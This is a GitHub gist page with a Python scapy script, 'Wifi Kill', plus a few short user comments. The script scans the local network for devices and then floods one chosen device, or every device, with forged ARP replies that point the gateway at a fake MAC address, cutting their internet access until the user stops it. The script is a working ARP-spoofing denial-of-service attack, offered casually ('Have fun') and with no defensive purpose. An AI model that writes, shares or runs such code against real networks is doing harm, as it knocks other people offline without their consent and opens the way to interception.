Created
December 18, 2015 07:56
-
-
Save tofuseng/7b659cf16faa821bdd80 to your computer and use it in GitHub Desktop.
A python program to kick people off of wifi
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
############################################################################### | |
# Wifi Kill # | |
# Robert Glew # | |
# https://github.com/roglew/wifikill # | |
# This python script can be used to kick anyone or everyone off of your wifi # | |
# network. The script must be run as sudo in order to send the required # | |
# packets. Have fun. # | |
############################################################################### | |
import time | |
import os | |
from scapy.all import * | |
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) | |
def get_ip_macs(ips): | |
# Returns a list of tupples containing the (ip, mac address) | |
# of all of the computers on the network | |
answers, uans = arping(ips, verbose=0) | |
res = [] | |
for answer in answers: | |
mac = answer[1].hwsrc | |
ip = answer[1].psrc | |
res.append((ip, mac)) | |
return res | |
def poison(victim_ip, victim_mac, gateway_ip): | |
# Send the victim an ARP packet pairing the gateway ip with the wrong | |
# mac address | |
packet = ARP(op=2, psrc=gateway_ip, hwsrc='12:34:56:78:9A:BC', pdst=victim_ip, hwdst=victim_mac) | |
send(packet, verbose=0) | |
def restore(victim_ip, victim_mac, gateway_ip, gateway_mac): | |
# Send the victim an ARP packet pairing the gateway ip with the correct | |
# mac address | |
packet = ARP(op=2, psrc=gateway_ip, hwsrc=gateway_mac, pdst=victim_ip, hwdst=victim_mac) | |
send(packet, verbose=0) | |
def get_lan_ip(): | |
# A hacky method to get the current lan ip address. It requires internet | |
# access, but it works | |
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
s.connect(("google.com", 80)) | |
ip = s.getsockname() | |
s.close() | |
return ip[0] | |
def printdiv(): | |
print '--------------------' | |
# Check for root | |
if os.geteuid() != 0: | |
print "You need to run the script as a superuser" | |
exit() | |
# Search for stuff every time we refresh | |
refreshing = True | |
gateway_mac = '12:34:56:78:9A:BC' # A default (bad) gateway mac address | |
while refreshing: | |
# Use the current ip XXX.XXX.XXX.XXX and get a string in | |
# the form "XXX.XXX.XXX.*" and "XXX.XXX.XXX.1". Right now, | |
# the script assumes that the default gateway is "XXX.XXX.XXX.1" | |
myip = get_lan_ip() | |
ip_list = myip.split('.') | |
del ip_list[-1] | |
ip_list.append('*') | |
ip_range = '.'.join(ip_list) | |
del ip_list[-1] | |
ip_list.append('1') | |
gateway_ip = '.'.join(ip_list) | |
# Get a list of devices and print them to the screen | |
devices = get_ip_macs(ip_range) | |
printdiv() | |
print "Connected ips:" | |
i = 0 | |
for device in devices: | |
print '%s)\t%s\t%s' % (i, device[0], device[1]) | |
# See if we have the gateway MAC | |
if device[0] == gateway_ip: | |
gateway_mac = device[1] | |
i+=1 | |
printdiv() | |
print 'Gateway ip: %s' % gateway_ip | |
if gateway_mac != '12:34:56:78:9A:BC': | |
print "Gateway mac: %s" % gateway_mac | |
else: | |
print 'Gateway not found. Script will be UNABLE TO RESTORE WIFI once shutdown is over' | |
printdiv() | |
# Get a choice and keep prompting until we get a valid letter or a number | |
# that is in range | |
print "Who do you want to boot?" | |
print "(r - Refresh, a - Kill all, q - quit)" | |
input_is_valid = False | |
killall = False | |
while not input_is_valid: | |
choice = raw_input(">") | |
if choice.isdigit(): | |
# If we have a number, see if it's in the range of choices | |
if int(choice) < len(devices) and int(choice) >= 0: | |
refreshing = False | |
input_is_valid = True | |
elif choice is 'a': | |
# If we have an a, set the flag to kill everything | |
killall = True | |
input_is_valid = True | |
refreshing = False | |
elif choice is 'r': | |
# If we have an r, say we have a valid input but let everything | |
# refresh again | |
input_is_valid = True | |
elif choice is 'q': | |
# If we have a q, just quit. No cleanup required | |
exit() | |
if not input_is_valid: | |
print 'Please enter a valid choice' | |
# Once we have a valid choice, we decide what we're going to do with it | |
if choice.isdigit(): | |
# If we have a number, loop the poison function until we get a | |
# keyboard inturrupt (ctl-c) | |
choice = int(choice) | |
victim = devices[choice] | |
print "Preventing %s from accessing the internet..." % victim[0] | |
try: | |
while True: | |
poison(victim[0], victim[1], gateway_ip) | |
except KeyboardInterrupt: | |
restore(victim[0], victim[1], gateway_ip, gateway_mac) | |
print '\nYou\'re welcome!' | |
elif killall: | |
# If we are going to kill everything, loop the poison function until we | |
# we get a keyboard inturrupt (ctl-c) | |
try: | |
while True: | |
for victim in devices: | |
poison(victim[0], victim[1], gateway_ip) | |
except KeyboardInterrupt: | |
for victim in devices: | |
restore(victim[0], victim[1], gateway_ip, gateway_mac) | |
print '\nYou\'re welcome!' | |
it is saying that the apt part of the scapy code is wrong
Was usefull for me
will it work on windows?
will it work on windows?
nope
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Wifi Kill
A python program that uses scapy to kick people off of wifi. The script must be run as sudo. The script also requires that scapy be installed. To install it, do
The program lists the devices connected to the network then allows you to: